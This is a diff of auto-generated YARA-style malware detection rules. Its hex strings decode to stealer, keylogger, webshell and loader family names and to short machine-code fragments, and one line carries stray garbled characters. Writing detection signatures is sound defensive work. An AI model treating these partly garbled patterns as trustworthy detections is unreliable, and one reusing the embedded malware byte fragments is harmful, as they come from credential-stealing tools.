_InfrastructureShared_7953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -79161,7 +83717,7 @@ rule _InfrastructureShared_7524{ ((#a_46_0 & 1)*16675+(#a_18_1 & 1)*-16251) >=2 } -rule _InfrastructureShared_7525{ +rule _InfrastructureShared_7954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -79172,7 +83728,7 @@ rule _InfrastructureShared_7525{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29806) >=2 } -rule _InfrastructureShared_7526{ +rule _InfrastructureShared_7955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -79183,7 +83739,7 @@ rule _InfrastructureShared_7526{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*9356) >=2 } -rule _InfrastructureShared_7527{ +rule _InfrastructureShared_7956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -79194,7 +83750,7 @@ rule _InfrastructureShared_7527{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*25964) >=2 } -rule _InfrastructureShared_7528{ +rule _InfrastructureShared_7957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -79205,7 +83761,7 @@ rule _InfrastructureShared_7528{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30309) >=2 } -rule _InfrastructureShared_7529{ +rule _InfrastructureShared_7958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -79216,7 +83772,7 @@ rule _InfrastructureShared_7529{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-31861) >=2 } -rule _InfrastructureShared_7530{ +rule _InfrastructureShared_7959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -79228,32 +83784,43 @@ rule _InfrastructureShared_7530{ ((#a_70_0 & 1)*17699+(#a_3a_1 & 1)*21587+(#a_00_2 & 1)*-6127) >=2 } -rule _InfrastructureShared_7531{ +rule _InfrastructureShared_7960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 44 79 6e 4d 65 6d 4a 6d 70 41 50 49 00 01 00 19 11 e8 14 00 00 00 52 74 6c 44 65 63 6f 6d 70 72 65 73 73 42 75 66 66 65 72 00 01 00 12 11 e8 0d 00 00 00 56 69 72 74 75 61 6c 41 6c 6c 6f 63 00 01 00 } //18467 - $a_0f_1 = {00 00 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 00 78 77 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 62 6f 74 5f 73 6e 69 66 66 65 72 00 01 00 0b 01 7b 53 4e 49 46 46 45 52 7d 3a 00 01 00 0a 01 7b 4b 45 59 4c 4f 47 7d 3a 00 01 00 1e 01 4b 65 79 6c 6f 67 20 54 68 72 65 61 64 20 68 61 73 20 62 65 65 6e 20 6b 69 6c 6c 65 64 2e 01 00 19 01 53 6e 69 66 66 65 72 20 54 68 72 65 61 64 20 61 63 74 69 76 61 74 65 64 2e 00 00 78 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 69 73 74 79 43 68 61 69 6e 2e 41 21 64 68 61 00 01 00 11 01 10 2d 13 27 30 30 05 3a 3a 39 02 3c 21 3d 01 34 32 01 00 15 01 10 2d 14 39 39 3a 36 34 21 30 05 3a 3a 39 02 3c 21 } //4372 - $a_32_2 = {00 18 01 12 30 21 1b 20 38 34 1d 3c 32 3d 30 26 21 1b 3a 31 30 1b 20 38 37 30 27 00 00 78 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f } //317 ᠀ሁℰ‛㐸㰝㴲☰ᬡㄺᬰ㠠〷'砀ẁ̀̀℀䄣䙌䠺捡呫潯 + $a_0f_1 = {00 00 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 00 78 77 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 62 6f 74 5f 73 6e 69 66 66 65 72 00 01 00 0b 01 7b 53 4e 49 46 46 45 52 7d 3a 00 01 00 0a 01 7b 4b 45 59 4c 4f 47 7d 3a 00 01 00 1e 01 4b 65 79 6c 6f 67 20 54 68 72 65 61 64 20 68 61 73 20 62 65 65 6e 20 6b 69 6c 6c 65 64 2e 01 00 19 01 53 6e 69 66 66 65 72 20 54 68 72 65 61 64 20 61 63 74 69 76 61 74 65 64 2e 00 00 78 77 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 65 74 61 53 74 65 61 6c 65 72 2e 45 54 4c 21 4d 54 42 00 02 00 29 01 88 10 8b 45 f8 48 63 d0 48 8b 45 10 48 01 d0 0f b6 00 89 c1 8b 45 fc 48 63 d0 48 8b 45 20 48 01 d0 0f b6 00 } //4372 + $a_45_2 = {01 00 17 01 5b 2b 5d 20 53 68 65 6c 6c 63 6f 64 65 20 44 65 63 72 79 70 74 65 64 00 00 78 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 69 73 74 79 43 68 61 69 6e 2e 41 21 64 68 61 00 01 00 11 01 10 2d 13 27 30 30 05 3a 3a 39 02 3c 21 3d 01 34 32 01 00 15 01 10 2d 14 39 39 3a 36 34 21 30 05 3a 3a 39 02 3c 21 3d 01 34 32 01 00 18 01 12 30 21 1b 20 38 34 1d 3c 32 } //-14287 condition: - ((#a_54_0 & 1)*18467+(#a_0f_1 & 1)*4372+(#a_32_2 & 1)*317) >=2 + ((#a_54_0 & 1)*18467+(#a_0f_1 & 1)*4372+(#a_45_2 & 1)*-14287) >=2 } -rule _InfrastructureShared_7532{ +rule _InfrastructureShared_7961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_54_0 = {3a 62 6f 74 5f 73 6e 69 66 66 65 72 00 01 00 0b 01 7b 53 4e 49 46 46 45 52 7d 3a 00 01 00 0a 01 7b 4b 45 59 4c 4f 47 7d 3a 00 01 00 1e 01 4b 65 79 6c 6f 67 20 54 68 72 65 61 64 20 68 61 73 20 62 65 65 6e 20 6b 69 6c 6c 65 64 2e 01 00 19 01 53 6e 69 } //18467 - $a_72_1 = {54 68 72 65 61 64 20 61 63 74 69 76 61 74 65 64 2e 00 00 78 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 69 73 74 79 43 68 61 69 6e 2e 41 21 64 68 61 00 01 00 11 01 10 2d 13 27 30 30 05 3a 3a 39 02 3c 21 3d 01 34 32 01 00 15 01 10 2d 14 39 39 3a 36 34 21 30 } //26214 - $a_39_2 = {3c 21 3d 01 34 32 01 00 18 01 12 30 21 1b 20 38 34 1d 3c 32 3d 30 26 21 1b 3a 31 30 1b 20 38 37 30 27 00 00 78 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f } //14853 - $a_4d_3 = {49 4c 2f 56 69 72 6f 2e 41 21 64 68 61 00 01 00 13 01 42 74 6e 5f 70 6f 72 74 5f 73 63 61 6e 5f 43 6c 69 63 6b 01 00 15 01 62 74 6e 5f 70 73 68 65 6c 6c 5f 73 65 6e 64 5f 43 } //27759 + $a_72_1 = {54 68 72 65 61 64 20 61 63 74 69 76 61 74 65 64 2e 00 00 78 77 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 65 74 61 53 74 65 61 6c 65 72 2e 45 54 4c 21 4d 54 42 00 02 00 29 01 88 10 8b 45 f8 48 63 d0 48 8b 45 10 48 01 d0 0f b6 00 89 c1 8b 45 fc 48 63 d0 48 8b 45 } //26214 + $a_d0_2 = {b6 } //18464 + $a_88_3 = {f7 01 00 17 01 5b 2b 5d 20 53 68 65 6c 6c 63 6f 64 65 20 44 65 63 72 79 70 74 65 64 00 00 78 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 69 73 74 79 43 68 61 69 6e 2e 41 21 64 68 61 00 01 00 11 01 10 2d 13 27 30 30 05 3a 3a 39 02 3c 21 3d 01 34 32 01 00 15 01 10 2d 14 39 39 3a 36 34 21 30 05 3a 3a 39 02 3c 21 3d 01 34 32 01 00 18 01 12 30 21 1b 20 38 34 1d 3c 32 3d 30 26 21 1b 3a 31 30 1b 20 38 37 30 27 00 00 78 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 56 69 72 6f 2e 41 21 64 68 61 00 01 00 13 01 42 74 } //12544 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26214+(#a_39_2 & 1)*14853+(#a_4d_3 & 1)*27759) >=2 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26214+(#a_d0_2 & 1)*18464+(#a_88_3 & 1)*12544) >=2 } -rule _InfrastructureShared_7533{ +rule _InfrastructureShared_7962{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 65 74 61 53 74 65 61 6c 65 72 2e 45 54 4c 21 4d 54 42 00 02 00 29 01 88 10 8b 45 f8 48 63 d0 48 8b 45 10 48 01 d0 0f b6 00 89 c1 8b 45 fc 48 63 d0 48 8b 45 20 48 01 } //21539 + $a_00_1 = {31 c8 88 45 f7 01 00 17 01 5b 2b 5d 20 53 68 65 6c 6c 63 6f 64 65 20 44 65 63 72 79 70 74 65 64 00 00 78 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 69 73 74 79 43 68 61 69 6e 2e 41 21 64 68 61 00 01 00 11 01 10 2d 13 27 30 30 05 3a 3a 39 02 3c 21 3d 01 34 32 01 00 15 01 10 2d 14 39 39 3a 36 34 21 30 05 3a 3a 39 02 3c 21 3d 01 34 32 01 00 18 01 12 30 21 1b 20 38 34 1d 3c 32 3d 30 26 21 1b 3a 31 30 1b 20 38 37 30 27 00 00 78 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a } //4048 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*4048) >=3 + +} +rule _InfrastructureShared_7963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -79264,7 +83831,7 @@ rule _InfrastructureShared_7533{ ((#a_46_0 & 1)*16675+(#a_1b_2 & 1)*12306) >=3 } -rule _InfrastructureShared_7534{ +rule _InfrastructureShared_7964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -79275,31 +83842,19 @@ rule _InfrastructureShared_7534{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*114) >=3 } -rule _InfrastructureShared_7535{ +rule _InfrastructureShared_7965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {50 55 41 3a 41 6d 6f 6e 65 74 69 7a 65 21 62 69 74 00 01 00 1b 01 b8 02 00 00 00 8b 5d fc 8b 4d f8 31 0c 03 83 c0 03 3b 05 e4 09 4a 00 7c ef eb 11 01 00 26 03 6a 40 68 00 30 00 00 ff 35 90 01 03 00 6a 00 ff 15 90 01 03 00 50 8f } //16675 - $a_90_1 = {03 00 50 e8 90 01 03 ff 90 00 01 00 0a 01 e8 00 00 00 00 58 83 c0 05 c3 00 00 78 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 61 77 32 33 00 02 00 1d 80 01 70 61 72 74 6e 65 72 73 2d 6f 66 66 61 70 69 2e 6e 65 74 2f 61 70 69 42 75 6e 64 6c 65 01 00 08 80 01 6f 66 66 65 72 69 6e 67 01 00 13 80 01 59 61 6e 64 65 78 49 6e 73 74 61 6c 6c 65 72 2e 70 64 62 00 00 78 77 00 00 03 00 03 00 03 00 21 23 } //-955 - $a_3a_2 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 4d 48 21 4d 54 42 00 01 00 28 02 16 0c 2b 1b 07 08 06 08 91 20 90 02 05 28 30 00 00 06 28 90 01 01 00 00 0a 59 d2 9c 08 17 58 0c 08 06 8e } //19521 + $a_90_1 = {03 00 50 e8 90 01 03 ff 90 00 01 00 0a 01 e8 00 00 00 00 58 83 c0 05 c3 00 00 78 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 4d 48 21 4d 54 42 00 01 00 28 02 16 0c 2b 1b 07 08 06 08 91 20 90 02 05 28 30 00 00 06 28 90 01 01 00 00 0a 59 d2 9c 08 17 58 0c 08 06 8e 69 32 df 90 00 01 00 07 81 01 47 65 74 54 79 70 65 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 00 00 78 77 00 00 03 00 03 00 03 00 21 23 } //-955 + $a_3a_2 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 47 61 6c 61 78 69 61 6e 2e 41 21 64 68 61 00 01 00 2c 01 51 75 61 73 61 72 2e 43 6f 6d 6d 6f 6e 2e 3c 50 72 69 76 61 74 65 49 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 44 65 74 61 } //19521 condition: ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-955+(#a_3a_2 & 1)*19521) >=3 } -rule _InfrastructureShared_7536{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_46_0 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 61 77 32 33 00 02 00 1d 80 01 70 61 72 74 6e 65 72 73 2d 6f 66 66 61 70 69 2e 6e 65 74 2f 61 70 69 42 75 6e 64 6c 65 01 00 08 80 01 6f 66 66 } //16675 - $a_6e_1 = {01 00 13 80 01 59 61 6e 64 65 78 49 6e 73 74 61 6c 6c 65 72 2e 70 64 62 00 00 78 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 4d 48 21 4d 54 42 00 01 00 28 02 16 0c 2b 1b 07 08 06 08 91 20 90 02 05 28 30 00 00 06 28 90 01 01 00 00 0a 59 d2 } //29285 - $a_58_2 = {08 06 8e 69 32 df 90 00 01 00 07 81 01 47 65 74 54 79 70 65 01 00 0c } //2204 - condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29285+(#a_58_2 & 1)*2204) >=3 - -} -rule _InfrastructureShared_7537{ +rule _InfrastructureShared_7966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -79311,7 +83866,7 @@ rule _InfrastructureShared_7537{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 } -rule _InfrastructureShared_7538{ +rule _InfrastructureShared_7967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -79323,7 +83878,7 @@ rule _InfrastructureShared_7538{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*2816+(#a_20_2 & 1)*25922) >=3 } -rule _InfrastructureShared_7539{ +rule _InfrastructureShared_7968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -79335,31 +83890,43 @@ rule _InfrastructureShared_7539{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*18180+(#a_5f_2 & 1)*25971) >=3 } -rule _InfrastructureShared_7540{ +rule _InfrastructureShared_7969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 2f 45 71 75 61 74 69 6f 6e 47 72 6f 75 70 5f 54 6f 6f 6c 73 65 74 5f 41 70 72 31 37 5f 4d 63 6c 5f 4e 74 4d 65 6d 6f 72 79 00 01 00 0b 01 44 24 37 50 c6 44 24 38 72 c6 44 01 00 0a 01 44 } //16675 $a_c6_1 = {24 34 77 c6 01 00 10 01 3b 65 c6 44 24 3c 73 c6 44 24 3d 73 c6 44 24 3e 00 00 78 77 00 00 03 00 03 00 03 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 62 70 61 74 68 00 01 00 1c 03 40 42 0f 00 73 41 e8 90 01 04 89 45 90 01 01 db 45 90 01 01 d9 5d 90 01 01 e8 90 00 01 00 1c 03 8b ec 81 3d 90 01 04 30 75 00 00 7d 0f a1 90 01 } //13092 - $a_08_2 = {a3 90 01 04 eb 0a 90 00 01 00 14 03 83 f8 42 73 0c 6a 0d e8 90 01 04 83 c4 04 eb 0a 6a 16 90 00 00 00 78 77 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 } //772 + $a_08_2 = {a3 90 01 04 eb 0a 90 00 01 00 14 03 83 f8 42 73 0c 6a 0d e8 90 01 04 83 c4 04 eb 0a 6a 16 90 00 00 00 78 77 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 } //772 condition: ((#a_46_0 & 1)*16675+(#a_c6_1 & 1)*13092+(#a_08_2 & 1)*772) >=3 } -rule _InfrastructureShared_7541{ +rule _InfrastructureShared_7970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 47 61 62 70 61 74 68 00 01 00 1c 03 40 42 0f 00 73 41 e8 90 01 04 89 45 90 01 01 db 45 90 01 01 d9 5d 90 01 01 e8 90 00 01 00 1c 03 8b ec 81 3d 90 01 04 30 75 00 00 7d 0f a1 90 01 04 03 45 08 a3 90 01 04 eb 0a 90 00 01 00 14 03 83 f8 42 73 0c 6a 0d e8 90 01 04 83 c4 04 eb } //16675 - $a_90_1 = {00 00 78 77 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e } //27146 - $a_47_2 = {6c 6f 61 64 65 72 2e 4b 44 53 53 31 32 33 21 4d 54 42 00 01 00 0d 81 01 72 61 79 73 20 64 72 6b 61 72 6d 65 6e 01 00 28 81 01 6f 76 65 72 62 } //12851 + $a_90_1 = {00 00 78 77 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f } //27146 + $a_3a_2 = {69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 41 30 31 21 4d 54 42 00 01 00 1d 81 01 6f 76 65 72 62 6c 65 61 63 68 20 63 68 61 73 73 20 64 64 73 61 6e 6e 6f 6e 63 65 6e 73 01 00 08 81 01 74 69 6d 65 74 61 6c 73 01 00 14 81 01 76 69 6e 68 61 6e 64 6c 65 72 65 6e 73 20 62 72 79 6e 64 65 00 00 78 77 00 00 03 00 03 00 03 00 21 23 } //24938 condition: - ((#a_77_0 & 1)*16675+(#a_90_1 & 1)*27146+(#a_47_2 & 1)*12851) >=3 + ((#a_77_0 & 1)*16675+(#a_90_1 & 1)*27146+(#a_3a_2 & 1)*24938) >=3 } -rule _InfrastructureShared_7542{ +rule _InfrastructureShared_7971{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 41 30 31 21 4d 54 42 00 01 00 1d 81 01 6f 76 65 72 62 6c 65 61 63 68 20 63 68 61 73 73 20 64 64 73 61 6e 6e 6f 6e 63 65 6e 73 01 00 08 81 01 74 69 6d 65 74 61 6c 73 01 00 14 } //18467 + $a_69_1 = {68 61 6e 64 6c 65 72 65 6e 73 20 62 72 79 6e 64 65 00 00 78 77 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 53 31 32 33 21 4d 54 42 00 01 00 0d 81 01 72 61 79 73 20 64 72 6b 61 72 6d 65 6e 01 00 28 81 01 6f 76 65 72 62 65 6c 61 73 74 6e 69 6e 67 20 65 6b 73 70 6c 6f 64 75 72 72 20 63 65 72 76 69 63 } //385 + $a_67_2 = {6e 61 6c 01 00 09 81 01 74 6b 6e 69 6e 67 65 6e 73 00 00 78 77 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 49 53 31 32 33 21 4d 54 42 00 01 00 1a 81 01 76 61 72 69 61 6e 74 6b 6f 64 65 6e 73 20 68 79 70 6f 74 68 65 74 69 63 61 6c 01 00 1e } //30319 + condition: + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*385+(#a_67_2 & 1)*30319) >=3 + +} +rule _InfrastructureShared_7972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -79371,7 +83938,7 @@ rule _InfrastructureShared_7542{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*30319+(#a_65_2 & 1)*385) >=3 } -rule _InfrastructureShared_7543{ +rule _InfrastructureShared_7973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -79383,7 +83950,7 @@ rule _InfrastructureShared_7543{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*29282+(#a_61_2 & 1)*28277) >=3 } -rule _InfrastructureShared_7544{ +rule _InfrastructureShared_7974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -79394,7 +83961,7 @@ rule _InfrastructureShared_7544{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*385) >=3 } -rule _InfrastructureShared_7545{ +rule _InfrastructureShared_7975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -79406,7 +83973,7 @@ rule _InfrastructureShared_7545{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*29479+(#a_3a_2 & 1)*21587) >=3 } -rule _InfrastructureShared_7546{ +rule _InfrastructureShared_7976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -79418,7 +83985,7 @@ rule _InfrastructureShared_7546{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*-32493+(#a_73_2 & 1)*28015) >=3 } -rule _InfrastructureShared_7547{ +rule _InfrastructureShared_7977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -79430,7 +83997,7 @@ rule _InfrastructureShared_7547{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*28789+(#a_6e_2 & 1)*29441) >=3 } -rule _InfrastructureShared_7548{ +rule _InfrastructureShared_7978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -79442,7 +84009,7 @@ rule _InfrastructureShared_7548{ ((#a_46_0 & 1)*21283+(#a_53_1 & 1)*16686+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_7549{ +rule _InfrastructureShared_7979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -79455,7 +84022,7 @@ rule _InfrastructureShared_7549{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*16964+(#a_46_2 & 1)*26115+(#a_8d_3 & 1)*1024) >=3 } -rule _InfrastructureShared_7550{ +rule _InfrastructureShared_7980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -79470,7 +84037,7 @@ rule _InfrastructureShared_7550{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*260+(#a_00_3 & 1)*0+(#a_4c_4 & 1)*8993+(#a_61_5 & 1)*270+(#a_53_6 & 1)*17986) >=3 } -rule _InfrastructureShared_7551{ +rule _InfrastructureShared_7981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -79482,7 +84049,7 @@ rule _InfrastructureShared_7551{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_77_2 & 1)*0) >=4 } -rule _InfrastructureShared_7552{ +rule _InfrastructureShared_7982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -79495,7 +84062,7 @@ rule _InfrastructureShared_7552{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29285+(#a_01_2 & 1)*1536+(#a_00_3 & 1)*10603) >=4 } -rule _InfrastructureShared_7553{ +rule _InfrastructureShared_7983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -79508,7 +84075,7 @@ rule _InfrastructureShared_7553{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29797+(#a_61_2 & 1)*385+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_7554{ +rule _InfrastructureShared_7984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -79521,19 +84088,19 @@ rule _InfrastructureShared_7554{ ((#a_46_0 & 1)*16675+(#a_29_1 & 1)*29818+(#a_4f_2 & 1)*-32750+(#a_59_3 & 1)*29285) >=4 } -rule _InfrastructureShared_7555{ +rule _InfrastructureShared_7985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 54 65 6c 61 6d 6f 6e 42 75 6e 64 6c 65 72 00 01 00 10 80 01 53 6f 66 74 77 61 72 65 5c 54 65 6c 61 6d 6f 6e 01 00 10 80 01 4f 66 66 65 72 5f 59 61 6e 64 65 78 20 45 6e 64 01 00 12 80 01 4f 66 66 65 72 5f 59 61 6e 64 65 78 20 42 65 67 69 } //20515 $a_69_2 = {63 72 65 61 74 6f 72 2e 65 78 65 00 00 78 77 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 65 79 6c 6f 67 67 65 72 2e 45 41 5a 57 21 4d 54 42 00 05 00 46 01 06 28 01 00 00 06 0b 07 17 2e 0b 07 20 01 80 ff ff 40 e2 00 00 00 7e 06 00 00 04 6f 1c 00 00 0a 26 7e 03 00 00 04 17 73 1d 00 00 0a 0c 06 1f 20 33 10 08 72 21 } //384 - $a_6f_3 = {00 00 0a dd b6 00 00 00 06 1e 33 10 00 00 78 77 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 57 65 62 73 68 65 6c 6c 2e 45 41 46 46 21 4d 54 42 00 05 00 47 01 04 03 07 6f 06 00 00 0a 6f 07 00 00 0a 0c 08 15 2e 15 06 05 08 6f 06 00 00 0a 8c 0d 00 00 01 28 08 00 00 0a 0a 2b 13 06 03 07 6f 06 00 00 0a 8c } //0 + $a_6f_3 = {00 00 0a dd b6 00 00 00 06 1e 33 10 00 00 78 77 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 63 63 6f 6f 6e 2e 41 21 4d 54 42 00 05 00 4a 03 8a 4d e0 f6 d1 30 4c 15 e1 42 83 fa 12 90 01 05 88 5d f3 50 56 90 01 02 a3 54 44 48 00 b1 06 c7 45 e6 06 8a 88 95 8b d3 c7 45 ea 90 01 01 8d 9c ca c7 45 } //0 condition: ((#a_41_0 & 1)*20515+(#a_69_2 & 1)*384+(#a_6f_3 & 1)*0) >=4 } -rule _InfrastructureShared_7556{ +rule _InfrastructureShared_7986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -79543,27 +84110,7 @@ rule _InfrastructureShared_7556{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_7557{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 